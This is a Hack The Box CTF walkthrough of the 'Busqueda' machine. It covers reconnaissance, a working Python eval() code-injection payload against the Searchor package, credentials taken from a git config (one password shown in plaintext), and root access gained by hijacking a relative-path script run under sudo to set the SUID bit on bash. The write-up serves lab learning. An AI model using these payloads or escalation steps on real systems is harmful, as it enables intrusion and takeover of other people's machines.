Busqueda		
Organization: Hack The Box	Type: online CTF	
Categories: ☐ Network Security ☐ Cryptography ☐ Mobile Applications	☐ Reverse Engineering ☑ Web Applications ☐ Forensics	Difficulty: Easy
Name: Kasper Verhulst	Release date:08-04-2023 Completing date:	

Scanning & Reconaissance

First, let us start scanning the machine to see which services are running. As usual, let's start by running an nmap command.

```
nmap -sS -A -p1-1000 -oN nmap.out -T4 $BOX_IP
```

We find the following services running on the machine

Port	Service	Version
22/tcp open	SSH	OpenSSH 8.9p1
80/tcp open	HTTP	Apache httpd 2.4.52

We don't find any critical vulnerabilities present in these services. It is probably not a very good approach to just start brute-forcing the SSH service with an unknown username and password, so let's start with the web server. The IP-based virtual host is always redirecting us to http://searcher.htb, so we need to map this host to the box's IP address in the `/etc/hosts` file.

When we visit the home page, we can understand the application is some kind of meta search engine that will route your request to a number of other search engines. The HTML source code of the home page does not reveal anything out of the ordinary. At the bottom of the page, we can find the credits that probably indicate the website was built using Python framework Flask together with the Searchor v2.4.0 pip package. Finally, the Server HTTP Header points out the website uses Werkzeug v2.1.2 middleware and Python v3.10.6.

Let us now enumerate the web server to find hidden pages or subdomains:

```
gobuster dir -u http://searcher.htb -x py,html,php -w /usr/share/wordlists/
    dirb/common.txt
```

path	Status code
/search	405 Method Not Allowed
/server-status	403 Forbidden

Let us enumerate for subdomains to find if there are any hidden domains:

```
gobuster vhost -w /usr/share/wordlists/SecLists-master/Discovery/DNS/
    subdomains-top1million-20000.txt -u searcher.htb --append-domain -r
```

Seems like there aren't any subdomains.

Gaining Access

If we search for vulnerabilties in these tools, we can find that the Searchor pip package < v2.4.2 has potentially a code execution vulnerability (`https://security.snyk.io/vuln/SNYK-PYTHON-SEARCHOR-3166303`). If, we check the release notes of the Github, we can indeed find that a was fixed in v2.4.2. The respective PR omits the use of the Python function eval() that allows for arbirary code execution.

Understanding Searchor Python package

The Searchor Python package (`https://github.com/ArjunSharda/Searchor`) can generate the search query urls for a whole list of search engines. The program initializes an enum that stores how search queries are generate for each search engine:

```
@unique
class Engine(Enum):
    Accuweather = "https://www.accuweather.com/en/search-locations?query={query}"
    AlternativeTo = "https://alternativeto.net/browse/search/?q={query}"
    Amazon = "https://www.amazon.com/s?k={query}"
    AmazonWebServices = "https://aws.amazon.com/search/?searchQuery={query}"
```

Furthermore,there is a method that will generate the complete search url based on the search engine and the query:

```
def search(self, query, open_web=False, copy_url=False,
    additional_queries: dict = None):
    url = self.value.format(query=quote(query, safe=""))
    if additional_queries:
        url += ("?" if "?" not in self.value.split("/")[-1] else "&") + "&".join(
            query + "=" + quote(query_val)
            for query, query_val in additional_queries.items()
        )
    if open_web is True:
        open_new_tab(url)

    if copy_url is True:
        pyperclip.copy(url)

    return url
```

Finally, there is the root method that will call the method to generate the query. It will print the result or redirect to the generated url.

```
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:
            click.echo("opening browser...")
        if copy:
            click.echo("link copied to clipboard")
    except AttributeError:
        print("engine not recognized")
```

Exploiting eval function of f-string

We know that a python f-string is going to replace the variables by their value. Let us try to add a Python function in one of the variables to see if they will get executed. The easiest variable to start with is probably the *engine* variable since it is not part of the search method:

```
engine=dir()
query="facebook"
url = eval(
    f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
click.echo(url)

> Engine.['Engine', 'Enum', '__annotations__', '__builtins__', '__cached__
    ', '__doc__', '__file__', '__loader__', '__name__', '__package__', '
    __spec__', 'click', 'quote'].search('facebook')
```

So we clearly see the dir() method is executed. I intercepted a request from the application using Burp Suite and tried to inject the dir() function or a reverse Python shell in the *engine* parameter. However, I always received a 'Invalid engine!' error. This error is also different from the one that the Searchor library should return, so I assume the API is doing some kind of verification on the search engine sent to the API in the HTTP body.

Considering the input of the engine parameter is being validated, let us try to abuse the *query* parameter. If we just enter a python function in the query, it would just be searched for in the search engines like:

```
engine="Google"
query=dir()
url = eval(
    f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
click.echo(url)

> https://www.accuweather.com/en/search-locations?query=dir%28%29
```

Here, we need to create a crafty payload. The idea is that the first part of our payload will be the actual query. Then we recreate the same sequence of characters in our payload that would end the query in the normal program. Thereafter, we add our separate injected command. Multiple expressions in the eval() command can be split by commas. Finally, we add a comment sign in our payload to comment out the rest of the line in the function.

For instance, the query input `hey'),dir()#` will lead to command injection: 'https://www.accuweather.com/en/search-locations?query=hey', ['copy', 'engine', 'open', 'query']. The input `hey'),__import__("os").system("id")#` prints the user that is running the application (*svc*) and `hey'),__import__("os").system("cat /etc/passwd")#` prints the user information of the system:

```
-bash-5.1$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
```

```
...
_laurel:x:998:998::/var/log/laurel:/bin/false
```

The *svc* user seems to be the only user, except root that has a shell available.

Ideally, at this point, just like other commands, I would like to try to inject a reverse shell. However, I couldn't get a reverse shell working. That's why I continued entering each command via the web injection. First of all I found the user flag in the *svc* user's home directory. Furthermore, I found a .git folder in the webapp's folder `/var/www/app`. The git config file contains credentials for a user called *cody* (which doesn't exist on the Unix server, only in the gitea):

```
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoi**we92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
```

This password is reused for the *svc* user and you can ssh with these credentials.

Privilege Escalation

The first thing we always try once we have user access on a machine is to check is sudo rights without password `sudo -l`.

```
-bash-5.1$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr
       /sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
```

I navigate to the directory `/opt/scripts` and we find four scripts: `check-ports.py`,`full-checkup.sh`,`install-flask.sh` and `system-checkup.py`, yet, we don't have the permission to read the content of the scripts. Let us just try to run the script we can run as root:

```
sudo /usr/bin/python3 /opt/scripts/system-checkup.py test

Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup
```

When we run `sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps`, we can see there are two containers running; one mysql v8 and one gitea which seems to be a minimal git server.

Next, if we run:

```
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
```

It monitors a whole lot of services. It also reveals the git server is hosted under the vhost http://gitea.searcher.htb. We could have also found this in the apache2 config, or in the git config file that we discovered before. If we add this vhost mapping to the BOX_IP as well, we can navigate to the gitea server. We can login using the cody credentials. If the git server, we can see the web app was created in one single 'initial commit'. Furthermore, there should be another user called 'administrator'. Usin wfuzz, I tried to brute-force the login of this administartor user, but witout success.

Finally, when we execute:

```
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
```

it errors explaining we need to add a format and container name to the command. The container name was shown running the `docker-ps` command. For the format it is not immediately clear what to input. First, I tried using JSON or YAML, but it didn't work. Then, as the script is probably using the `docker inspect` command underneath, I checked the documentation for that command whether it has a format flag. In this documentation (`https://docs.docker.com/engine/reference/commandline/inspect/`), it shows we need to add a format like {{.Config}}.

The environment variables injected in the gitea container reveal that the gitea uses a MySQL data storage solution (duh). It uses a user called *gitea* and password to connect to a database called *gitea*. The environment variables that set up the MySQL container are completely aligned. Furthermore, we find the MySQL's root user's password. I tried to switch to the root user with either of these passwords, but it didn't work:

```
su - root
```

Let us connect to the MySQL database and enumerate.

```
mysql -h localhost -P 3306 --protocol=tcp -u root -p
```

Because you are running MySQL inside Docker container, socket is not available and you need to connect through TCP. Setting "-protocol" in the mysql command will change that. In the user table we can find there are indeed two users: *cody* and *administrator*. We can also find their hashed passwords and salts that we could try to break with hashcat. However, again we can see there is password reuse and the password for the *gitea* user in the MySQL database is also the one for the *administrator* on the gitea server.

Now on the gitea server, we can read all the scripts from the `/opt/scripts` directory. The script that we can run as root `system-checkup.py` will indeed delegate to other commands. When we run:

- `system-checkup.py docker-ps` will run `docker ps`
- `system-checkup.py docker-inspect` will run `docker ps`
- `system-checkup.py full-checkup` will run `./full-checkup.sh`

The clue is here to understand the full checkup **is only a relative path reference**. If the `system-checkup.py full-checkup` is run from the `/opt/scripts` directory, it will run the `full-checkup.sh` script from the git project. However, we can create another `full-checkup.sh` in another directory that will run:

```
chmod +s /usr/bin/bash
```

If we run in the directory where we created our own version of `full-checkup.sh`:

```
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
```

it will run our own script. We have jus added suid permisson to user the bash binary. Run `bash -p` and we have a root shell.